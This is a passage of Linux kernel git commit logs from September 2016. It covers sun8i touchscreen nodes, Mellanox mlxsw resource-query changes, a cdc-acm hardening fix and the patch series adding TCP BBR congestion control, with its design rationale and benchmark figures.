Hans de Goede Date: Sun Sep 11 20:23:25 2016 +0200 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2407pxe03 Add a node enabling the gsl1680 touchscreen controller found on sun8i-a23-polaroid-mid2407pxe03 tablets. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-polaroid-mid2407pxe03.dts | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 9fae0a1cc41d0a965c03099baf12d3d19b178636 Author: Hans de Goede Date: Sun Sep 11 20:23:24 2016 +0200 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-inet86dz The inet86dz tablet has a gsl1680 touchscreen, add a dt node describing it. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-inet86dz.dts | 9 +++++++++ 1 file changed, 9 insertions(+) commit a08f9db4646ed3f4c046f1740568772537367f58 Author: Hans de Goede Date: Sun Sep 11 20:23:23 2016 +0200 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-gt90h The gt90h tablet has a gsl3675 touchscreen, add a dt node describing it. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-gt90h-v4.dts | 9 +++++++++ 1 file changed, 9 insertions(+) commit af9083627b4764272a341902e37af17188bc17f0 Author: Arvind Yadav Date: Tue Sep 20 14:00:42 2016 +0530 clk: mediatek: clk-mt8173: Unmap region obtained by of_iomap Free memory mapping if init is not successful. Signed-off-by: Arvind Yadav Reviewed-by: James Liao Signed-off-by: Stephen Boyd drivers/clk/mediatek/clk-mt8173.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 1fbf3e5f2db72c04a499f3923e6d2bba6f351344 Author: James Simmons Date: Tue Sep 20 13:31:09 2016 -0400 staging: lustre: ptlrpc: re-export lustre_swab_lov_mds_md Being over zealous in removing unused EXPORT_SYMBOLs the function lustre_swab_lov_mds_md exports were removed. They need to be exported so this patch restores those EXPORT_SYMBOLS. Same mistake was done when porting to the upstream client. Signed-off-by: James Simmons Reviewed-on: http://review.whamcloud.com/14545 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6486 Reviewed-by: Dmitry Eremin Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/pack_generic.c | 1 + 1 file changed, 1 insertion(+) commit 5bd163509f61abadaff23ff8e1badd5c0c150605 Author: Viresh Kumar Date: Wed Sep 21 12:10:16 2016 +0530 staging: greybus: add Viresh as maintainer of few greybus protocol drivers Add Viresh Kumar as Maintainer of some of the Greybus protocol drivers. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 2ad9d544f2497a7bf239c34bd2b86fd19683dbb5 Author: Oliver Neukum Date: Tue Sep 20 15:45:42 2016 +0200 cdc-acm: hardening against malicious devices This should fix the last holes against malicious devices still open in cdc-acm. It cannot go into stable due to the introduction of the common parser. The fix for stable already merged also covers the problems this patch fixes. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0bf71e4d02ffec8ab9a6adecca61d3eed74fc99d Merge: 5372e05 e2a738f Author: Thomas Gleixner Date: Wed Sep 21 09:39:00 2016 +0200 Merge branch 'smp/for-block' into smp/hotplug Bring in the block hotplug states for consistency. commit 7a3bcc0a8e2ad5fa7fe6d627e01c66b3488149b7 Author: Rob Clark Date: Fri Sep 16 18:37:44 2016 -0400 drm/msm: bump kernel api version for explicit fencing Signed-off-by: Rob Clark drivers/gpu/drm/msm/msm_drv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2d7a892626b5616a00d27a40fa23d70d5e618269 Merge: 4bdcc6c 8f8a62d Author: David S. Miller Date: Wed Sep 21 01:01:09 2016 -0400 Merge branch 'mlxse-resource-query' Jiri Pirko says: ==================== mlxsw: Replace Hw related const with resource query results Nogah says: Many of the ASIC's properties can be read from the HW with resources query. This patchset adds new resources to the resource query and implement using them, instead of the constants that we currently use. Those resources are lag, kvd and router related. ==================== Signed-off-by: David S. Miller commit 8f8a62d462492a043349a08abc51e2ad65b1f49a Author: Nogah Frankel Date: Tue Sep 20 11:16:57 2016 +0200 mlxsw: spectrum: Implement max rif resource Replace max rif const with using the result from resource query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 13 +++++---- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 9 ++++--- .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 31 ++++++++++++++++++++-- 3 files changed, 41 insertions(+), 12 deletions(-) commit 274df7fb77fffd243336c6affa2f9469e8f11122 Author: Nogah Frankel Date: Tue Sep 20 11:16:56 2016 +0200 mlxsw: pci: Add max router interface resource Add the max number of rif (router interfaces) to resource query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 4 +++- drivers/net/ethernet/mellanox/mlxsw/pci.c | 5 +++++ 2 files changed, 8 insertions(+), 1 deletion(-) commit e44d49cbbc5fb1a310b71212acc4e1f378a8fd91 Author: Nogah Frankel Date: Tue Sep 20 11:16:55 2016 +0200 mlxsw: pci: Add some miscellaneous resources Add max system ports, max regions and max vlan groups to resource query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 10 ++++++++-- drivers/net/ethernet/mellanox/mlxsw/pci.c | 15 +++++++++++++++ drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 6 ------ 3 files changed, 23 insertions(+), 8 deletions(-) commit 9497c042bfa9012cdefaddd8588b031bfae59a7c Author: Nogah Frankel Date: Tue Sep 20 11:16:54 2016 +0200 mlxsw: spectrum: Implement max virtual routers resource Replace max virtual routers const with the result from the resource query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 4 +- .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 43 +++++++++++++++++++--- 2 files changed, 38 insertions(+), 9 deletions(-) commit b8a09f0a0938acee81c386e3c27e7aca78b087eb Author: Nogah Frankel Date: Tue Sep 20 11:16:53 2016 +0200 mlxsw: pci: Add max virtual routers resource Add the max number of virtual routers to resource query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 4 +++- drivers/net/ethernet/mellanox/mlxsw/pci.c | 5 +++++ 2 files changed, 8 insertions(+), 1 deletion(-) commit 403547d38d0b99f589a0d87f3a5f352895e54aae Author: Nogah Frankel Date: Tue Sep 20 11:16:52 2016 +0200 mlxsw: profile: Add KVD resources to profile config Use resources from resource query to determine values for the profile configuration. Add KVD determined section sizes to the resources struct. Change the profile struct and value to match this changes. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 15 ++++-- drivers/net/ethernet/mellanox/mlxsw/pci.c | 73 +++++++++++++++++++++----- drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 7 +-- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 3 +- 4 files changed, 76 insertions(+), 22 deletions(-) commit 2acd10c51bd2ce3a39c75fa3ff113e32e2413c6f Author: Nogah Frankel Date: Tue Sep 20 11:16:51 2016 +0200 mlxsw: pci: Add KVD size relate resources Add KVD size, and minimum sizes for the single and double sections resources to resources query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 8 +++++++- drivers/net/ethernet/mellanox/mlxsw/pci.c | 15 +++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) commit ce0bd2b0c57a2d97ea89f87f61b9f5758139bcb8 Author: Nogah Frankel Date: Tue Sep 20 11:16:50 2016 +0200 mlxsw: spectrum: lag resources- use resources data instead of consts Use max lag and max ports in lag resources as the result of resource query instead of using const to save them. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.c | 26 +++++++------- drivers/net/ethernet/mellanox/mlxsw/core.h | 4 --- drivers/net/ethernet/mellanox/mlxsw/pci.c | 12 ------- drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 41 +++++++++++++++++----- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 5 +-- .../ethernet/mellanox/mlxsw/spectrum_switchdev.c | 4 ++- drivers/net/ethernet/mellanox/mlxsw/switchx2.c | 4 --- 7 files changed, 50 insertions(+), 46 deletions(-) commit 9f7f797c1df40ee6c0329e9e53ea9ca0d224f55d Author: Nogah Frankel Date: Tue Sep 20 11:16:49 2016 +0200 mlxsw: pci: Add lag related resources to resources query Add max lag and max ports in lag resources to resources query. Signed-off-by: Nogah Frankel Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 6 +++++- drivers/net/ethernet/mellanox/mlxsw/pci.c | 10 ++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) commit 4bdcc6ca2158f43b1770e020f9b71ab8a808594f Author: Or Gerlitz Date: Tue Sep 20 08:14:08 2016 +0300 mlxsw: spectrum: Make offloads stats functions static The offloads stats functions are local to this file, make them static. Fixes: fc1bbb0f1831 ('mlxsw: spectrum: Implement offload stats ndo [..]') Signed-off-by: Or Gerlitz Acked-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a624f93ce6623d452e87d8dcf557e7c680822991 Merge: 94d308d 0f8782e Author: David S. Miller Date: Wed Sep 21 00:23:09 2016 -0400 Merge branch 'tcp-bbr' Neal Cardwell says: ==================== tcp: BBR congestion control algorithm This patch series implements a new TCP congestion control algorithm: BBR (Bottleneck Bandwidth and RTT). A paper with a detailed description of BBR will be published in ACM Queue, September-October 2016, as "BBR: Congestion-Based Congestion Control". BBR is widely deployed in production at Google. The patch series starts with a set of supporting infrastructure changes, including a few that extend the congestion control framework. The last patch adds BBR as a TCP congestion control module. Please see individual patches for the details. - v3 -> v4: - Updated tcp_bbr.c in "tcp_bbr: add BBR congestion control" to use const to qualify all the constant parameters. Thanks to Stephen Hemminger. - In "tcp_bbr: add BBR congestion control", remove the bbr_rate_kbps() function, which had a 64-bit divide that would be problematic on some architectures, and just use bbr_rate_bytes_per_sec() directly. Thanks to Kenneth Klette Jonassen for suggesting this. - In "tcp: switch back to proper tcp_skb_cb size check in tcp_init()", switched from sizeof(skb->cb) to FIELD_SIZEOF. Thanks to Lance Richardson for suggesting this. - Updated "tcp_bbr: add BBR congestion control" commit message with performance data, more details about deployment at Google, and another reminder to use fq with BBR. - Updated tcp_bbr.c in "tcp_bbr: add BBR congestion control" to use MODULE_LICENSE("Dual BSD/GPL"). - v2 -> v3: fix another issue caught by build bots: - adjust rate_sample struct initialization syntax to allow gcc-4.4 to compile the "tcp: track data delivery rate for a TCP connection" patch; also adjusted some similar syntax in "tcp_bbr: add BBR congestion control" - v1 -> v2: fix issues caught by build bots: - fix "tcp: export data delivery rate" to use rate64 instead of rate, so there is a 64-bit numerator for the do_div call - fix conflicting definitions for minmax caused by "tcp: use windowed min filter library for TCP min_rtt estimation" with a new commit: tcp: cdg: rename struct minmax in tcp_cdg.c to avoid a naming conflict - fix warning about the use of __packed in "tcp: track data delivery rate for a TCP connection", which involves the addition of a new commit: tcp: switch back to proper tcp_skb_cb size check in tcp_init() ==================== Signed-off-by: David S. Miller commit 0f8782ea14974ce992618b55f0c041ef43ed0b78 Author: Neal Cardwell Date: Mon Sep 19 23:39:23 2016 -0400 tcp_bbr: add BBR congestion control This commit implements a new TCP congestion control algorithm: BBR (Bottleneck Bandwidth and RTT). A detailed description of BBR will be published in ACM Queue, Vol. 14 No. 5, September-October 2016, as "BBR: Congestion-Based Congestion Control". BBR has significantly increased throughput and reduced latency for connections on Google's internal backbone networks and google.com and YouTube Web servers. BBR requires only changes on the sender side, not in the network or the receiver side. Thus it can be incrementally deployed on today's Internet, or in datacenters. The Internet has predominantly used loss-based congestion control (largely Reno or CUBIC) since the 1980s, relying on packet loss as the signal to slow down. While this worked well for many years, loss-based congestion control is unfortunately out-dated in today's networks. On today's Internet, loss-based congestion control causes the infamous bufferbloat problem, often causing seconds of needless queuing delay, since it fills the bloated buffers in many last-mile links. On today's high-speed long-haul links using commodity switches with shallow buffers, loss-based congestion control has abysmal throughput because it over-reacts to losses caused by transient traffic bursts. In 1981 Kleinrock and Gale showed that the optimal operating point for a network maximizes delivered bandwidth while minimizing delay and loss, not only for single connections but for the network as a whole. Finding that optimal operating point has been elusive, since any single network measurement is ambiguous: network measurements are the result of both bandwidth and propagation delay, and those two cannot be measured simultaneously. While it is impossible to disambiguate any single bandwidth or RTT measurement, a connection's behavior over time tells a clearer story. BBR uses a measurement strategy designed to resolve this ambiguity. It combines these measurements with a robust servo loop using recent control systems advances to implement a distributed congestion control algorithm that reacts to actual congestion, not packet loss or transient queue delay, and is designed to converge with high probability to a point near the optimal operating point. In a nutshell, BBR creates an explicit model of the network pipe by sequentially probing the bottleneck bandwidth and RTT. On the arrival of each ACK, BBR derives the current delivery rate of the last round trip, and feeds it through a windowed max-filter to estimate the bottleneck bandwidth. Conversely it uses a windowed min-filter to estimate the round trip propagation delay. The max-filtered bandwidth and min-filtered RTT estimates form BBR's model of the network pipe. Using its model, BBR sets control parameters to govern sending behavior. The primary control is the pacing rate: BBR applies a gain multiplier to transmit faster or slower than the observed bottleneck bandwidth. The conventional congestion window (cwnd) is now the secondary control; the cwnd is set to a small multiple of the estimated BDP (bandwidth-delay product) in order to allow full utilization and bandwidth probing while bounding the potential amount of queue at the bottleneck. When a BBR connection starts, it enters STARTUP mode and applies a high gain to perform an exponential search to quickly probe the bottleneck bandwidth (doubling its sending rate each round trip, like slow start). However, instead of continuing until it fills up the buffer (i.e. a loss), or until delay or ACK spacing reaches some threshold (like Hystart), it uses its model of the pipe to estimate when that pipe is full: it estimates the pipe is full when it notices the estimated bandwidth has stopped growing. At that point it exits STARTUP and enters DRAIN mode, where it reduces its pacing rate to drain the queue it estimates it has created. Then BBR enters steady state. In steady state, PROBE_BW mode cycles between first pacing faster to probe for more bandwidth, then pacing slower to drain any queue that created if no more bandwidth was available, and then cruising at the estimated bandwidth to utilize the pipe without creating excess queue. Occasionally, on an as-needed basis, it sends significantly slower to probe for RTT (PROBE_RTT mode). BBR has been fully deployed on Google's wide-area backbone networks and we're experimenting with BBR on Google.com and YouTube on a global scale. Replacing CUBIC with BBR has resulted in significant improvements in network latency and application (RPC, browser, and video) metrics. For more details please refer to our upcoming ACM Queue publication. Example performance results, to illustrate the difference between BBR and CUBIC: Resilience to random loss (e.g. from shallow buffers): Consider a netperf TCP_STREAM test lasting 30 secs on an emulated path with a 10Gbps bottleneck, 100ms RTT, and 1% packet loss rate. CUBIC gets 3.27 Mbps, and BBR gets 9150 Mbps (2798x higher). Low latency with the bloated buffers common in today's last-mile links: Consider a netperf TCP_STREAM test lasting 120 secs on an emulated path with a 10Mbps bottleneck, 40ms RTT, and 1000-packet bottleneck buffer. Both fully utilize the bottleneck bandwidth, but BBR achieves this with a median RTT 25x lower (43 ms instead of 1.09 secs). Our long-term goal is to improve the congestion control algorithms used on the Internet. We are hopeful that BBR can help advance the efforts toward this goal, and motivate the community to do further research. Test results, performance evaluations, feedback, and BBR-related discussions are very welcome in the public e-mail list for BBR: https://groups.google.com/forum/#!forum/bbr-dev NOTE: BBR *must* be used with the fq qdisc ("man tc-fq") with pacing enabled, since pacing is integral to the BBR design and implementation. BBR without pacing would not function properly, and may incur unnecessary high packet loss rates. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/uapi/linux/inet_diag.h | 13 + net/ipv4/Kconfig | 18 + net/ipv4/Makefile | 1 + net/ipv4/tcp_bbr.c | 896 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 928 insertions(+) commit 7e744171386ae6da1248d3d27d10b6dbdc54f0ff Author: Neal Cardwell Date: Mon Sep 19 23:39:22 2016 -0400 tcp: increase ICSK_CA_PRIV_SIZE from 64 bytes to 88 The TCP CUBIC module already uses 64 bytes. The upcoming TCP BBR module uses 88 bytes. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/net/inet_connection_sock.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c0402760f565ae066621ebf8720a32fba074d538 Author: Yuchung Cheng Date: Mon Sep 19 23:39:21 2016 -0400 tcp: new CC hook to set sending rate with rate_sample in any CA state This commit introduces an optional new "omnipotent" hook, cong_control(), for congestion control modules. The cong_control() function is called at the end of processing an ACK (i.e., after updating sequence numbers, the SACK scoreboard, and loss detection). At that moment we have precise delivery rate information the congestion control module can use to control the sending behavior (using cwnd, TSO skb size, and pacing rate) in any CA state. This function can also be used by a congestion control that prefers not to use the default cwnd reduction approach (i.e., the PRR algorithm) during CA_Recovery to control the cwnd and sending rate during loss recovery. We take advantage of the fact that recent changes defer the retransmission or transmission of new data (e.g. by F-RTO) in recovery until the new tcp_cong_control() function is run. With this commit, we only run tcp_update_pacing_rate() if the congestion control is not using this new API. New congestion controls which use the new API do not want the TCP stack to run the default pacing rate calculation and overwrite whatever pacing rate they have chosen at initialization time. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/net/tcp.h | 4 ++++ net/ipv4/tcp_cong.c | 2 +- net/ipv4/tcp_input.c | 17 ++++++++++++++--- 3 files changed, 19 insertions(+), 4 deletions(-) commit 77bfc174c38e558a3425d3b069aa2762b2fedfdd Author: Yuchung Cheng Date: Mon Sep 19 23:39:20 2016 -0400 tcp: allow congestion control to expand send buffer differently Currently the TCP send buffer expands to twice cwnd, in order to allow limited transmits in the CA_Recovery state. This assumes that cwnd does not increase in the CA_Recovery. For some congestion control algorithms, like the upcoming BBR module, if the losses in recovery do not indicate congestion then we may continue to raise cwnd multiplicatively in recovery. In such cases the current multiplier will falsely limit the sending rate, much as if it were limited by the application. This commit adds an optional congestion control callback to use a different multiplier to expand the TCP send buffer. For congestion control modules that do not specificy this callback, TCP continues to use the previous default of 2. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Acked-by: Stephen Hemminger Signed-off-by: David S. Miller include/net/tcp.h | 2 ++ net/ipv4/tcp_input.c | 4 +++- 2 files changed, 5 insertions(+), 1 deletion(-) commit 556c6b46d194cc0dbb6a5b22f1d2bbc699c86d8e Author: Neal Cardwell Date: Mon Sep 19 23:39:19 2016 -0400 tcp: export tcp_mss_to_mtu() for congestion control modules Export tcp_mss_to_mtu(), so that congestion control modules can use this to help calculate a pacing rate. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller net/ipv4/tcp_output.c | 1 + 1 file changed, 1 insertion(+) commit 1b3878ca1551f3baab2c408d1e703b5ef785a1b2 Author: Neal Cardwell Date: Mon Sep 19 23:39:18 2016 -0400 tcp: export tcp_tso_autosize() and parameterize minimum number of TSO segments To allow congestion control modules to use the default TSO auto-sizing algorithm as one of the ingredients in their own decision about TSO sizing: 1) Export tcp_tso_autosize() so that CC modules can use it. 2) Change tcp_tso_autosize() to allow callers to specify a minimum number of segments per TSO skb, in case the congestion control module has a different notion of the best floor for TSO skbs for the connection right now. For very low-rate paths or policed connections it can be appropriate to use smaller TSO skbs. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/net/tcp.h | 2 ++ net/ipv4/tcp_output.c | 9 ++++++--- 2 files changed, 8 insertions(+), 3 deletions(-) commit ed6e7268b930e0a9a65d895d368eac79a438d992 Author: Neal Cardwell Date: Mon Sep 19 23:39:17 2016 -0400 tcp: allow congestion control module to request TSO skb segment count Add the tso_segs_goal() function in tcp_congestion_ops to allow the congestion control module to specify the number of segments that should be in a TSO skb sent by tcp_write_xmit() and tcp_xmit_retransmit_queue(). The congestion control module can either request a particular number of segments in TSO skb that we transmit, or return 0 if it doesn't care. This allows the upcoming BBR congestion control module to select small TSO skb sizes if the module detects that the bottleneck bandwidth is very low, or that the connection is policed to a low rate. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/net/tcp.h | 2 ++ net/ipv4/tcp_output.c | 15 +++++++++++++-- 2 files changed, 15 insertions(+), 2 deletions(-) commit eb8329e0a04db0061f714f033b4454326ba147f4 Author: Yuchung Cheng Date: Mon Sep 19 23:39:16 2016 -0400 tcp: export data delivery rate This commit export two new fields in struct tcp_info: tcpi_delivery_rate: The most recent goodput, as measured by tcp_rate_gen(). If the socket is limited by the sending application (e.g., no data to send), it reports the highest measurement instead of the most recent. The unit is bytes per second (like other rate fields in tcp_info). tcpi_delivery_rate_app_limited: A boolean indicating if the goodput was measured when the socket's throughput was limited by the sending application. This delivery rate information can be useful for applications that want to know the current throughput the TCP connection is seeing, e.g. adaptive bitrate video streaming. It can also be very useful for debugging or troubleshooting. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/tcp.h | 5 ++++- include/uapi/linux/tcp.h | 3 +++ net/ipv4/tcp.c | 11 ++++++++++- net/ipv4/tcp_rate.c | 12 +++++++++++- 4 files changed, 28 insertions(+), 3 deletions(-) commit d7722e8570fc0f1e003cee7cf37694041828918b Author: Soheil Hassas Yeganeh Date: Mon Sep 19 23:39:15 2016 -0400 tcp: track application-limited rate samples This commit adds code to track whether the delivery rate represented by each rate_sample was limited by the application. Upon each transmit, we store in the is_app_limited field in the skb a boolean bit indicating whether there is a known "bubble in the pipe": a point in the rate sample interval where the sender was application-limited, and did not transmit even though the cwnd and pacing rate allowed it. This logic marks the flow app-limited on a write if *all* of the following are true: 1) There is less than 1 MSS of unsent data in the write queue available to transmit. 2) There is no packet in the sender's queues (e.g. in fq or the NIC tx queue). 3) The connection is not limited by cwnd. 4) There are no lost packets to retransmit. The tcp_rate_check_app_limited() code in tcp_rate.c determines whether the connection is application-limited at the moment. If the flow is application-limited, it sets the tp->app_limited field. If the flow is application-limited then that means there is effectively a "bubble" of silence in the pipe now, and this silence will be reflected in a lower bandwidth sample for any rate samples from now until we get an ACK indicating this bubble has exited the pipe: specifically, until we get an ACK for the next packet we transmit. When we send every skb we record in scb->tx.is_app_limited whether the resulting rate sample will be application-limited. The code in tcp_rate_gen() checks to see when it is safe to mark all known application-limited bubbles of silence as having exited the pipe. It does this by checking to see when the delivered count moves past the tp->app_limited marker. At this point it zeroes the tp->app_limited marker, as all known bubbles are out of the pipe. We make room for the tx.is_app_limited bit in the skb by borrowing a bit from the in_flight field used by NV to record the number of bytes in flight. The receive window in the TCP header is 16 bits, and the max receive window scaling shift factor is 14 (RFC 1323). So the max receive window offered by the TCP protocol is 2^(16+14) = 2^30. So we only need 30 bits for the tx.in_flight used by NV. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/tcp.h | 1 + include/net/tcp.h | 6 +++++- net/ipv4/tcp.c | 8 ++++++++ net/ipv4/tcp_minisocks.c | 3 +++ net/ipv4/tcp_rate.c | 29 ++++++++++++++++++++++++++++- 5 files changed, 45 insertions(+), 2 deletions(-) commit b9f64820fb226a4e8ab10591f46cecd91ca56b30 Author: Yuchung Cheng Date: Mon Sep 19 23:39:14 2016 -0400 tcp: track data delivery rate for a TCP connection This patch generates data delivery rate (throughput) samples on a per-ACK basis. These rate samples can be used by congestion control modules, and specifically will be used by TCP BBR in later patches in this series. Key state: tp->delivered: Tracks the total number of data packets (original or not) delivered so far. This is an already-existing field. tp->delivered_mstamp: the last time tp->delivered was updated. Algorithm: A rate sample is calculated as (d1 - d0)/(t1 - t0) on a per-ACK basis: d1: the current tp->delivered after processing the ACK t1: the current time after processing the ACK d0: the prior tp->delivered when the acked skb was transmitted t0: the prior tp->delivered_mstamp when the acked skb was transmitted When an skb is transmitted, we snapshot d0 and t0 in its control block in tcp_rate_skb_sent(). When an ACK arrives, it may SACK and ACK some skbs. For each SACKed or ACKed skb, tcp_rate_skb_delivered() updates the rate_sample struct to reflect the latest (d0, t0). Finally, tcp_rate_gen() generates a rate sample by storing (d1 - d0) in rs->delivered and (t1 - t0) in rs->interval_us. One caveat: if an skb was sent with no packets in flight, then tp->delivered_mstamp may be either invalid (if the connection is starting) or outdated (if the connection was idle). In that case, we'll re-stamp tp->delivered_mstamp. At first glance it seems t0 should always be the time when an skb was transmitted, but actually this could over-estimate the rate due to phase mismatch between transmit and ACK events. To track the delivery rate, we ensure that if packets are in flight then t0 and and t1 are times at which packets were marked delivered. If the initial and final RTTs are different then one may be corrupted by some sort of noise. The noise we see most often is sending gaps caused by delayed, compressed, or stretched acks. This either affects both RTTs equally or artificially reduces the final RTT. We approach this by recording the info we need to compute the initial RTT (duration of the "send phase" of the window) when we recorded the associated inflight. Then, for a filter to avoid bandwidth overestimates, we generalize the per-sample bandwidth computation from: bw = delivered / ack_phase_rtt to the following: bw = delivered / max(send_phase_rtt, ack_phase_rtt) In large-scale experiments, this filtering approach incorporating send_phase_rtt is effective at avoiding bandwidth overestimates due to ACK compression or stretched ACKs. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/tcp.h | 2 + include/net/tcp.h | 35 +++++++++++- net/ipv4/Makefile | 2 +- net/ipv4/tcp_input.c | 46 +++++++++++----- net/ipv4/tcp_output.c | 4 ++ net/ipv4/tcp_rate.c | 149 ++++++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 222 insertions(+), 16 deletions(-) commit 0682e6902a52aca7caf6ad42551b16ea0f87bc31 Author: Neal Cardwell Date: Mon Sep 19 23:39:13 2016 -0400 tcp: count packets marked lost for a TCP connection Count the number of packets that a TCP connection marks lost. Congestion control modules can use this loss rate information for more intelligent decisions about how fast to send. Specifically, this is used in TCP BBR policer detection. BBR uses a high packet loss rate as one signal in its policer detection and policer bandwidth estimation algorithm. The BBR policer detection algorithm cannot simply track retransmits, because a retransmit can be (and often is) an indicator of packets lost long, long ago. This is particularly true in a long CA_Loss period that repairs the initial massive losses when a policer kicks in. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/tcp.h | 1 + net/ipv4/tcp_input.c | 25 ++++++++++++++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) commit b2d3ea4a730f812b9c0f67a67b6762ce66ddb17c Author: Eric Dumazet Date: Mon Sep 19 23:39:12 2016 -0400 tcp: switch back to proper tcp_skb_cb size check in tcp_init() Revert to the tcp_skb_cb size check that tcp_init() had before commit b4772ef879a8 ("net: use common macro for assering skb->cb[] available size in protocol families"). As related commit 744d5a3e9fe2 ("net: move skb->dropcount to skb->cb[]") explains, the sock_skb_cb_check_size() mechanism was added to ensure that there is space for dropcount, "for protocol families using it". But TCP is not a protocol using dropcount, so tcp_init() doesn't need to provision space for dropcount in the skb->cb[], and thus we can revert to the older form of the tcp_skb_cb size check. Doing so allows TCP to use 4 more bytes of the skb->cb[] space. Fixes: b4772ef879a8 ("net: use common macro for assering skb->cb[] available size in protocol families") Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: Neal Cardwell 